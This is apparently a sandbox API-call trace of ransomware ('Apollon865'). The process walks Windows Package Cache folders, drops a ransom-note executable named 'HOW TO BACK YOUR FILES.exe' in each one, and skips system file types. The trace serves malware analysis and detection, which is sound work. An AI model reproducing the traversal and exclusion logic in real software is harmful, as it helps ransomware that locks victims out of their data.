	[0050.537] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0050.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0050.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0050.537] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 67
	[0050.537] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0050.537] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.537] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.537] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.538] GetLastError () returned 0x0
	[0050.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.538] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.538] CloseHandle (hObject=0x15c) returned 1
	[0050.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.538] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.538] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f3d7510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3d7510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.539] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.539] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.539] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0050.539] lstrlenW (lpString="state.rsm") returned 9
	[0050.539] lstrlenW (lpString="Apollon865") returned 10
	[0050.539] lstrlenW (lpString=".dll") returned 4
	[0050.539] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0050.539] lstrlenW (lpString=".lnk") returned 4
	[0050.539] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0050.539] lstrlenW (lpString=".ini") returned 4
	[0050.539] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0050.539] lstrlenW (lpString=".sys") returned 4
	[0050.539] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0050.539] lstrlenW (lpString="state.rsm") returned 9
	[0050.539] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="VC_redist.x86.exe" | out: lpString1="VC_redist.x86.exe") returned="VC_redist.x86.exe"
	[0050.539] lstrlenW (lpString="VC_redist.x86.exe") returned 17
	[0050.539] lstrlenW (lpString="Apollon865") returned 10
	[0050.539] lstrcmpiW (lpString1="st.x86.exe", lpString2="Apollon865") returned 1
	[0050.539] lstrlenW (lpString=".dll") returned 4
	[0050.539] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".dll") returned 1
	[0050.539] lstrlenW (lpString=".lnk") returned 4
	[0050.539] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".lnk") returned 1
	[0050.539] lstrlenW (lpString=".ini") returned 4
	[0050.539] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".ini") returned 1
	[0050.539] lstrlenW (lpString=".sys") returned 4
	[0050.540] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".sys") returned 1
	[0050.540] lstrlenW (lpString="VC_redist.x86.exe") returned 17
	[0050.540] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0050.540] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0050.540] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0050.540] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 67
	[0050.540] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0050.540] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.540] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.540] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.540] GetLastError () returned 0x0
	[0050.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.540] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.541] CloseHandle (hObject=0x15c) returned 1
	[0050.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.541] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.541] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.541] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.541] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.541] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0050.541] lstrlenW (lpString="state.rsm") returned 9
	[0050.541] lstrlenW (lpString="Apollon865") returned 10
	[0050.541] lstrlenW (lpString=".dll") returned 4
	[0050.541] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0050.541] lstrlenW (lpString=".lnk") returned 4
	[0050.541] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0050.541] lstrlenW (lpString=".ini") returned 4
	[0050.541] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0050.541] lstrlenW (lpString=".sys") returned 4
	[0050.541] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0050.541] lstrlenW (lpString="state.rsm") returned 9
	[0050.541] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="vcredist_x86.exe" | out: lpString1="vcredist_x86.exe") returned="vcredist_x86.exe"
	[0050.541] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0050.541] lstrlenW (lpString="Apollon865") returned 10
	[0050.541] lstrcmpiW (lpString1="st_x86.exe", lpString2="Apollon865") returned 1
	[0050.541] lstrlenW (lpString=".dll") returned 4
	[0050.541] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".dll") returned 1
	[0050.541] lstrlenW (lpString=".lnk") returned 4
	[0050.541] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".lnk") returned 1
	[0050.542] lstrlenW (lpString=".ini") returned 4
	[0050.542] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".ini") returned 1
	[0050.542] lstrlenW (lpString=".sys") returned 4
	[0050.542] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".sys") returned 1
	[0050.542] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0050.542] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0050.542] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0050.542] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0050.542] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 67
	[0050.542] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0050.542] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.542] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.542] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.542] GetLastError () returned 0x0
	[0050.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.542] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.543] CloseHandle (hObject=0x15c) returned 1
	[0050.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.543] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.543] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.543] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.543] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.543] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0050.543] lstrlenW (lpString="state.rsm") returned 9
	[0050.543] lstrlenW (lpString="Apollon865") returned 10
	[0050.543] lstrlenW (lpString=".dll") returned 4
	[0050.543] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0050.543] lstrlenW (lpString=".lnk") returned 4
	[0050.543] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0050.543] lstrlenW (lpString=".ini") returned 4
	[0050.543] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0050.543] lstrlenW (lpString=".sys") returned 4
	[0050.543] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0050.543] lstrlenW (lpString="state.rsm") returned 9
	[0050.543] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="VC_redist.x64.exe" | out: lpString1="VC_redist.x64.exe") returned="VC_redist.x64.exe"
	[0050.543] lstrlenW (lpString="VC_redist.x64.exe") returned 17
	[0050.543] lstrlenW (lpString="Apollon865") returned 10
	[0050.543] lstrcmpiW (lpString1="st.x64.exe", lpString2="Apollon865") returned 1
	[0050.543] lstrlenW (lpString=".dll") returned 4
	[0050.543] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".dll") returned 1
	[0050.544] lstrlenW (lpString=".lnk") returned 4
	[0050.544] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".lnk") returned 1
	[0050.544] lstrlenW (lpString=".ini") returned 4
	[0050.544] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".ini") returned 1
	[0050.544] lstrlenW (lpString=".sys") returned 4
	[0050.544] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".sys") returned 1
	[0050.544] lstrlenW (lpString="VC_redist.x64.exe") returned 17
	[0050.544] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0050.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0050.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0050.544] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 79
	[0050.544] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0050.544] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.544] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.544] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.545] GetLastError () returned 0x0
	[0050.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.545] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.545] CloseHandle (hObject=0x15c) returned 1
	[0050.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.545] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.545] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.545] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.545] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.545] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0050.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0050.545] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0050.545] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.545] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.546] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdf0
	[0050.546] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0050.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0050.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0050.546] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned 88
	[0050.546] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0050.546] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.546] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.546] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.546] GetLastError () returned 0x0
	[0050.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.546] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.546] CloseHandle (hObject=0x15c) returned 1
	[0050.547] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.547] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.547] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.547] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.547] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.547] lstrcpyW (in: lpString1=0x2d3e602, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
	[0050.547] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0050.547] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe6) returned 0x5b58d8
	[0050.547] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0050.547] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.547] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.547] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdf0
	[0050.547] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64"
	[0050.547] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0050.547] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0050.547] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned 114
	[0050.547] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64"
	[0050.547] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
